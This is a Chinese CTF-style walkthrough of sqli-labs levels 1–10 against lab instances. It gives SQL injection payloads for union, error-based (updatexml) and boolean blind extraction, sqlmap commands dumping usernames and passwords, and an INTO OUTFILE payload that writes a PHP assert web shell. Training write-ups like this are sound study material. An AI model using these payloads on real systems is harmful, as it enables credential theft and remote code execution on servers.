原文链接:sqli-labs通关(less1~less10)_less-labs 4-6关-CSDN博客
sqli-libs1
http://9ce3de6f-7ac8-42d0-bdfb-63bb96537b57.node5.buuoj.cn/Less-1/?id=1 直接出
http://9ce3de6f-7ac8-42d0-bdfb-63bb96537b57.node5.buuoj.cn/Less-1/?id=1' order by 3--+
http://9ce3de6f-7ac8-42d0-bdfb-63bb96537b57.node5.buuoj.cn/Less-1/?id=1' order by 4--+
http://9ce3de6f-7ac8-42d0-bdfb-63bb96537b57.node5.buuoj.cn/Less-1/?id=-1' union select 1,2,3--+
http://9ce3de6f-7ac8-42d0-bdfb-63bb96537b57.node5.buuoj.cn/Less-1/?id=-1' union select 1,version(),database()--+
http://9ce3de6f-7ac8-42d0-bdfb-63bb96537b57.node5.buuoj.cn/Less-1/?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+
在 MySQL 数据库中,GROUP_CONCAT()是一个非常实用的聚合函数,主要用于将属于一组的相关行的数据项进行合并并以字符串的形式返回。通过本文,我们将深入理解 GROUP_CONCAT() 函数的用法以及在实际场景中的应用。
information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。
information_schema 中的表实际上是视图,而不是基本表,因此,文件系统上没有与之相关的文件。
1. 获取所有表结构(TABLES)
SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA='数据库名';
TABLES表:提供了关于数据库中的表的信息(包括视图)。详细表述了某个表属于哪个schema,表类型,表引擎,创建时间等信息。各字段说明如下:
Table_schema | 数据表所属的数据库名 |
http://168a514d-229f-48fd-97f0-c7a7617c9515.node5.buuoj.cn/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()--+
http://168a514d-229f-48fd-97f0-c7a7617c9515.node5.buuoj.cn/Less-1/?id=-1' union select 1,group_concat(username),group_concat(password) from users--+
【php】assert函数的用法
2012-06-01 10:32:37
assert这个函数在php语言中是用来判断一个表达式是否成立。返回true or false;
例如
<?php
$s = 123;
assert("is_int($s)");
?>
从这个例子可以看到字符串参数会被执行,这跟eval()类似。不过eval($code_str)只是执行符合php编码规范的$code_str。
assert的用法却更详细一点。
http://168a514d-229f-48fd-97f0-c7a7617c9515.node5.buuoj.cn/Less-1/?id=-1' union select 1,version(),'<?php assert($_POST[pass]);?>' into outfile 'C:\Users\星辰大海\Desktop\1.php'--+
下同:
sqli-libs2
http://168a514d-229f-48fd-97f0-c7a7617c9515.node5.buuoj.cn/Less-2/?id=1
http://168a514d-229f-48fd-97f0-c7a7617c9515.node5.buuoj.cn/Less-2/?id=1'
sqli-libs3
http://4dd77904-e062-488a-a1e4-d26fbf534271.node5.buuoj.cn/Less-3/?id=3\
sqli-libs4
http://4dd77904-e062-488a-a1e4-d26fbf534271.node5.buuoj.cn/Less-4/?id=1\
sqli-libs5
http://4dd77904-e062-488a-a1e4-d26fbf534271.node5.buuoj.cn/Less-5/?id=1
http://4dd77904-e062-488a-a1e4-d26fbf534271.node5.buuoj.cn/Less-5/?id=1\
SQL注入中的报错注入方法,当输入带有语法错误的SQL语句导致页面报错时,表明存在SQL注入漏洞。报错注入常用函数包括updatexml和extractvalue,可用于获取数据库版本信息。通过报错注入,可以逐步揭示数据库结构和数据,即使页面不显示查询结果
报错注入过程:报错注入的过程和union注入是差不多的:先找到注入点-->检查是否能产生报错信息-->使用报错函数得到库名-->得到关键表名-->得到列名-->查询关键数据
报错注入属于盲注的一种,要求页面能产生报错信息,不需要显示位,当页面没有显示位用不了union注入时,可以先考虑看看能不能用报错注入。
在ASCII码表中,0x7e这个十六进制数代表符号~,~这个符号在xpath语法中是不存在的,因此总能报错。同理,肯定也有其他字符是XPATH语法不支持的。也是不支持的,因此也可以使用
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
updatexml函数是用于更新XML文档中指定节点下的指定属性的函数1234。它可以在XML文档中添加、修改或删除节点和属性,以便对XML数据进行更精细的控制和操作。
updatexml(xml_doument,XPath_string,new_value)
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式
http://4dd77904-e062-488a-a1e4-d26fbf534271.node5.buuoj.cn/Less-5/?id=1'and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
MySQL中CONCAT函数
功能 将多个字符串连接成一个字符串
语法 CONCAT(str1,str2,…)
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL。
值得注意的是每次只返回的是一行的数据。
在调用updatexml显错注入的时候为什么要用concat函数?
这个问题很简单。首先updatexml为啥会报错。
UPDATEXML (XML_document, XPath_string, new_value);
第二个参数:XPath_string(Xpath格式的字符串)
我们把第二个参数变成非XPATH格式,自然会报错。
但爆出的是什么信息呢?
SELECT updatexml(1,"/bookstore/.book/title",1)
> 1105 - XPATH syntax error: 'book/title'
>时间:0.001s
他会把校验失败的数据暴出来。其实是方便开发人员调试的。
http://77e6629d-d80d-4fd8-976f-df261cd86389.node5.buuoj.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
http://9c772b3e-5858-4419-a637-edfab5e92cb2.node5.buuoj.cn/Less-5/?id=1' and updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1)--+
例子:
users表的结构
使用concat()函数
group_concat()函数:
group_concat()函数是将所有的查询结果拼接成一个字符串返回,不过在不同的字段值之间默认是用逗号隔开的,可以看到返回的值就只有一个值。
像concat()函数那样直接拼接内容,中间没有做隔离,很可能会导致我们无法判断哪些字符是属于哪一个字段的。而group_concat()函数默认是用逗号隔开两行不同查询结果的。当然也支持自己定义隔离的符号,比如
http://f458971c-0877-454b-a574-691cf19eda87.node5.buuoj.cn/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database()),1,31),0x7e),1)--+
http://f458971c-0877-454b-a574-691cf19eda87.node5.buuoj.cn/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),1,31),0x7e),1)--+
http://f458971c-0877-454b-a574-691cf19eda87.node5.buuoj.cn/Less-5/?id=1'and updatexml(1,concat(0x7e,substr((select group_concat(concat(username,'^',password)) from users),32,31),0x7e),1)--+
下同:
sqli-libs6
http://f458971c-0877-454b-a574-691cf19eda87.node5.buuoj.cn/Less-6/?id=1\
下同只是闭合为”
sqli-libs7
http://f458971c-0877-454b-a574-691cf19eda87.node5.buuoj.cn/Less-7/?id=1'
sqli-libs8
布尔盲注:
http://f458971c-0877-454b-a574-691cf19eda87.node5.buuoj.cn/Less-8/?id=1' AND LENGTH((SELECT database()))=8--+ 有显示即为注入成功
http://f458971c-0877-454b-a574-691cf19eda87.node5.buuoj.cn/Less-8/?id=1' AND LEFT((SELECT database()), 1)='a' --+
http://f458971c-0877-454b-a574-691cf19eda87.node5.buuoj.cn/Less-8/?id=1' AND LEFT((SELECT database()), 1)=s' --+
如上测试首字母可以用bp抓包后用字典爆破:
sqli-libs9
http://bbd5228a-b664-4412-8bc7-4428033f6af4.node5.buuoj.cn/Less-9/?id=1
直接用sqlmap暴力破解:
sqlmap -u "http://bbd5228a-b664-4412-8bc7-4428033f6af4.node5.buuoj.cn/Less-9/?id=1" --current-db
sqlmap -u "http://bbd5228a-b664-4412-8bc7-4428033f6af4.node5.buuoj.cn/Less-9/?id=1" --tables -D security
sqlmap -u "http://bbd5228a-b664-4412-8bc7-4428033f6af4.node5.buuoj.cn/Less-9/?id=1" --columns -D security -T users
sqlmap -u "http://bbd5228a-b664-4412-8bc7-4428033f6af4.node5.buuoj.cn/Less-9/?id=1" --dump -D security -T users -C username,password